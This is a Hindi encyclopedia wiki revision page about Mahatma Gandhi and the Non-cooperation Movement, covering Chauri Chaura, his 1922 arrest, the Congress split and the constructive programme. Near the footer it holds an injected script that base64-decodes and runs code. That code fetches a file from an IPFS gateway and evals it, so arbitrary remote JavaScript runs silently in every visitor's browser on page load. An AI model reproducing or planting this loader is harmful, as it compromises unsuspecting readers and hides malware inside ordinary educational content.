महात्मा गाँधी और असहयोग आन्दोलन: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
No edit summary
m (Text replacement - "छः" to "छह")
Line 40: Line 40:
==असहयोग आंदोलन==
==असहयोग आंदोलन==
{{मुख्य|असहयोग आंदोलन}}
{{मुख्य|असहयोग आंदोलन}}
असहयोग आन्दोलन का संचालन स्वराज की माँग को लेकर किया गया। इसका उद्देश्य सरकार के साथ सहयोग न करके कार्यवाही में बाधा उपस्थित करना था। [[असहयोग आंदोलन]] [[गांधी जी]] ने [[1 अगस्त]], [[1920]] को आरम्भ किया। [[फ़रवरी]] [[1922]] में असहयोग आन्दोलन ज़ोर पकड़ता प्रतीत हुआ, लेकिन [[पूर्वी भारत]] के दूरदराज़ के एक गाँव [[चौरी चौरा]] में हिंसा भड़कने से चिन्तित गांधी ने [[सविनय अवज्ञा आन्दोलन]] वापस ले लिया। [[10 मार्च]] 1922 को गांधी को गिरफ़्तार कर लिया गया और उन्हें छः वर्षों के कारावास की सज़ा हुई। अपेंडिसाइटिस के आपरेशन के बाद फ़रवरी [[1924]] में उन्हें रिहा कर दिया गया। उनकी अनुपस्थिति में राजनीतिक परिदृश्य बदल चुका था। कांग्रेस पार्टी दो भागों में विभक्त हो चुकी थी। एक [[चित्तरंजन दास]] और [[मोतीलाल नेहरू]]<ref>भारत के पहले [[प्रधानमंत्री]] [[जवाहर लाल नेहरू]] के पिता।</ref> के नेतृत्व में था, जो विधायिकाओं में पार्टी के प्रवेश के समर्थक थे और दूसरा [[सी. राजगोपालाचारी]] और [[सरदार वल्लभ भाई पटेल|वल्लभभाई झवेरभाई पटेल]] का था, जो इसके विरोधी थे। सबसे दुर्भाग्यपूर्ण बात यह हुई कि [[1920]]-1922 के दौरान असहयोग आन्दोलन में हिन्दुओं और मुसलमानों के बीच मौजूद एकता ख़त्म हो चुकी थी। गांधी ने दोनों समुदायों का समझा-बुझाकर उन्हें शंकाओं तथा कट्टरवाद के घेरे से बाहर निकालने का प्रयास किया। अंततः एक गम्भीर साम्प्रदायिक हिंसा के बाद 1924 के पतझड़ में उन्होंने तीन [[सप्ताह]] का उपवास किया, ताकि लोगों को [[अहिंसा]] के मार्ग पर चलने को प्रेरित किया जा सके।
असहयोग आन्दोलन का संचालन स्वराज की माँग को लेकर किया गया। इसका उद्देश्य सरकार के साथ सहयोग न करके कार्यवाही में बाधा उपस्थित करना था। [[असहयोग आंदोलन]] [[गांधी जी]] ने [[1 अगस्त]], [[1920]] को आरम्भ किया। [[फ़रवरी]] [[1922]] में असहयोग आन्दोलन ज़ोर पकड़ता प्रतीत हुआ, लेकिन [[पूर्वी भारत]] के दूरदराज़ के एक गाँव [[चौरी चौरा]] में हिंसा भड़कने से चिन्तित गांधी ने [[सविनय अवज्ञा आन्दोलन]] वापस ले लिया। [[10 मार्च]] 1922 को गांधी को गिरफ़्तार कर लिया गया और उन्हें छह वर्षों के कारावास की सज़ा हुई। अपेंडिसाइटिस के आपरेशन के बाद फ़रवरी [[1924]] में उन्हें रिहा कर दिया गया। उनकी अनुपस्थिति में राजनीतिक परिदृश्य बदल चुका था। कांग्रेस पार्टी दो भागों में विभक्त हो चुकी थी। एक [[चित्तरंजन दास]] और [[मोतीलाल नेहरू]]<ref>भारत के पहले [[प्रधानमंत्री]] [[जवाहर लाल नेहरू]] के पिता।</ref> के नेतृत्व में था, जो विधायिकाओं में पार्टी के प्रवेश के समर्थक थे और दूसरा [[सी. राजगोपालाचारी]] और [[सरदार वल्लभ भाई पटेल|वल्लभभाई झवेरभाई पटेल]] का था, जो इसके विरोधी थे। सबसे दुर्भाग्यपूर्ण बात यह हुई कि [[1920]]-1922 के दौरान असहयोग आन्दोलन में हिन्दुओं और मुसलमानों के बीच मौजूद एकता ख़त्म हो चुकी थी। गांधी ने दोनों समुदायों का समझा-बुझाकर उन्हें शंकाओं तथा कट्टरवाद के घेरे से बाहर निकालने का प्रयास किया। अंततः एक गम्भीर साम्प्रदायिक हिंसा के बाद 1924 के पतझड़ में उन्होंने तीन [[सप्ताह]] का उपवास किया, ताकि लोगों को [[अहिंसा]] के मार्ग पर चलने को प्रेरित किया जा सके।
==रचनात्मक कार्यक्रम==
==रचनात्मक कार्यक्रम==
[[चित्र:Porbandar-Gujarat-21.jpg|thumb|200px|left|जुलुस की तैयारी टाउन होल - [[पोरबंदर]] [[1915]]]]
[[चित्र:Porbandar-Gujarat-21.jpg|thumb|200px|left|जुलुस की तैयारी टाउन होल - [[पोरबंदर]] [[1915]]]]

Revision as of 10:52, 9 February 2021

महात्मा गाँधी विषय सूची
महात्मा गाँधी और असहयोग आन्दोलन
पूरा नाम मोहनदास करमचंद गाँधी
अन्य नाम बापू, महात्मा जी
जन्म 2 अक्तूबर, 1869
जन्म भूमि पोरबंदर, गुजरात
मृत्यु 30 जनवरी, 1948
मृत्यु स्थान नई दिल्ली
मृत्यु कारण हत्या
अभिभावक करमचंद गाँधी, पुतलीबाई
पति/पत्नी कस्तूरबा गाँधी
संतान हरिलाल, मनिलाल, रामदास, देवदास
स्मारक राजघाट (दिल्ली), बिरला हाउस (दिल्ली) आदि।
पार्टी काँग्रेस
शिक्षा बैरिस्टर
विद्यालय बंबई यूनिवर्सिटी, सामलदास कॉलेज
संबंधित लेख गाँधी युग, असहयोग आंदोलन, नमक सत्याग्रह, भारत छोड़ो आन्दोलन, दांडी मार्च, व्यक्तिगत सत्याग्रह, सविनय अवज्ञा आन्दोलन, ख़िलाफ़त आन्दोलन

गाँधी जी ने 1918 में गुजरात के अहमदाबाद में मिल मजदूरों की हड़ताल का सफल नेतृत्व किया और फिर 1920 में 'अहमदाबाद टेक्सटाइल लेबर एसोसिएशन' की स्थापना की। 1920 के पतझड़ तक गांधी राजनीतिक मंच पर छा गए थे और भारत या शायद किसी भी देश में, किसी राजनीतिज्ञ का इतना प्रभाव कभी भी नहीं रहा था। उन्होंने 35 वर्ष पुरानी भारतीय राष्ट्रीय कांग्रेस को भारतीय राष्ट्रवाद के प्रभावशाली राजनीतिक हथियार में बदल दिया। गांधी का संदेश बहुत सरल था। अंग्रेज़ों की बंदूकों ने नहीं, बल्कि भारतवासियों की अपनी कमियों ने भारत को ग़ुलाम बनाया हुआ है। ब्रिटिश सरकार के साथ उनके अहिंसक असहयोग में न सिर्फ़ वस्तुओं, बल्कि भारत में अंग्रेज़ों द्वारा संचालित या उनकी मदद से चल रहे संस्थानों- जैसे विधायिका, न्यायालय, कार्यालय या स्कूल का बहिष्कार भी शामिल था। इस कार्यक्रम ने देश में जोश फूँक दिया, विदेशी शासन के भय का फंदा काट दिया और इसके फलस्वरूप क़ानून तोड़कर ख़ुशी-ख़ुशी जेल जाने को तैयार हज़ारों सत्याग्रहियों को गिरफ़्तार कर लिया गया। [[चित्र:Mahatma-Gandhi-4.jpg|thumb|150px|left|महात्मा गाँधी
चित्रकार-प्रोफ़ेसर लैंग हैमर]]

मानस का प्रत्येक पृष्ठ भक्ति से भरपूर है। मानस अनुभवजन्य ज्ञान का भण्डार है। महात्मा गांधी

असहयोग आंदोलन

असहयोग आन्दोलन का संचालन स्वराज की माँग को लेकर किया गया। इसका उद्देश्य सरकार के साथ सहयोग न करके कार्यवाही में बाधा उपस्थित करना था। असहयोग आंदोलन गांधी जी ने 1 अगस्त, 1920 को आरम्भ किया। फ़रवरी 1922 में असहयोग आन्दोलन ज़ोर पकड़ता प्रतीत हुआ, लेकिन पूर्वी भारत के दूरदराज़ के एक गाँव चौरी चौरा में हिंसा भड़कने से चिन्तित गांधी ने सविनय अवज्ञा आन्दोलन वापस ले लिया। 10 मार्च 1922 को गांधी को गिरफ़्तार कर लिया गया और उन्हें छह वर्षों के कारावास की सज़ा हुई। अपेंडिसाइटिस के आपरेशन के बाद फ़रवरी 1924 में उन्हें रिहा कर दिया गया। उनकी अनुपस्थिति में राजनीतिक परिदृश्य बदल चुका था। कांग्रेस पार्टी दो भागों में विभक्त हो चुकी थी। एक चित्तरंजन दास और मोतीलाल नेहरू[1] के नेतृत्व में था, जो विधायिकाओं में पार्टी के प्रवेश के समर्थक थे और दूसरा सी. राजगोपालाचारी और वल्लभभाई झवेरभाई पटेल का था, जो इसके विरोधी थे। सबसे दुर्भाग्यपूर्ण बात यह हुई कि 1920-1922 के दौरान असहयोग आन्दोलन में हिन्दुओं और मुसलमानों के बीच मौजूद एकता ख़त्म हो चुकी थी। गांधी ने दोनों समुदायों का समझा-बुझाकर उन्हें शंकाओं तथा कट्टरवाद के घेरे से बाहर निकालने का प्रयास किया। अंततः एक गम्भीर साम्प्रदायिक हिंसा के बाद 1924 के पतझड़ में उन्होंने तीन सप्ताह का उपवास किया, ताकि लोगों को अहिंसा के मार्ग पर चलने को प्रेरित किया जा सके।

रचनात्मक कार्यक्रम

[[चित्र:Porbandar-Gujarat-21.jpg|thumb|200px|left|जुलुस की तैयारी टाउन होल - पोरबंदर 1915]] सन् 1925 में जब अधिकांश कांग्रेसजनों ने 1919 के भारतीय शासन विधान द्वारा स्थापित कौंसिल में प्रवेश करने की इच्छा प्रकट की तो गांधी जी ने कुछ समय के लिए सक्रिय राजनीति से सन्न्यास ले लिया और उन्होंने अपने आगामी तीन वर्ष ग्रामोंत्थान कार्यों में लगाय। उन्होंने गाँवों की भयंकर निर्धनता को दूर करने के लिए चरखे पर सूत कातने का प्रचार किया और हिन्दुओं में व्याप्त छुआछूत को मिटाने की कोशिश की। अपने इस कार्यक्रम को गांधी जी 'रचनात्मक कार्यक्रम' कहते थे। इस कार्यक्रम के ज़रिये वे अन्य भारतीय नेताओं के मुक़ाबले, गाँवों में निवास करने वाली देश की 90 प्रतिशत जनता के बहुत अधिक निकट आ गये। उन्होंने सारे देश में गाँव-गाँव की यात्रा की, गाँव वालों की पोशाक अपना ली और उनकी भाषा में उनसे बातचीत की। इस प्रकार उन्होंने गाँवों में रहने वाली करोड़ों की आबादी में राजनीतिक जागृति पैदा कर दी और स्वराज्य की माँग को मध्यमवर्गीय आंदोलन के स्तर से उठाकर देशव्यापी अदम्य जन-आंदोलन का रूप दे दिया।



left|30px|link=महात्मा गाँधी तथा सत्याग्रह|पीछे जाएँ महात्मा गाँधी और असहयोग आन्दोलन right|30px|link=महात्मा गाँधी और गोलमेज सम्मेलन|आगे जाएँ


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. भारत के पहले प्रधानमंत्री जवाहर लाल नेहरू के पिता।

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

सुव्यवस्थित लेख|link=भारतकोश:सुव्यवस्थित लेख